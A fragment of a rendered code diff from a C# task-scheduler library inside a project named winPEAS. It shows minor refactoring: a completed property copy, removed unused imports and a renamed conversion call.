MessageBody = ((ShowMessageAction) sourceAction).MessageBody;
|
||||
Title = ((ShowMessageAction)sourceAction).Title;
|
||||
MessageBody = ((ShowMessageAction)sourceAction).MessageBody;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -3,11 +3,8 @@ using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Collections.Specialized;
|
||||
using System.ComponentModel;
|
||||
using System.Linq;
|
||||
using System.Runtime.CompilerServices;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Threading.Tasks;
|
||||
using System.Xml.Serialization;
|
||||
using winPEAS.TaskScheduler.TaskEditor.Native;
|
||||
using winPEAS.TaskScheduler.V1;
|
||||
@@ -706,7 +703,7 @@ namespace winPEAS.TaskScheduler
|
||||
}
|
||||
}
|
||||
else
|
||||
ret.Add(Action.ExecAction.ConvertFromPowerShellAction(exec));
|
||||
ret.Add(Action.ConvertFromPowerShellAction(exec));
|
||||
}
|
||||
else if (!string.IsNullOrEmpty(exec.Path))
|
||||
{
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user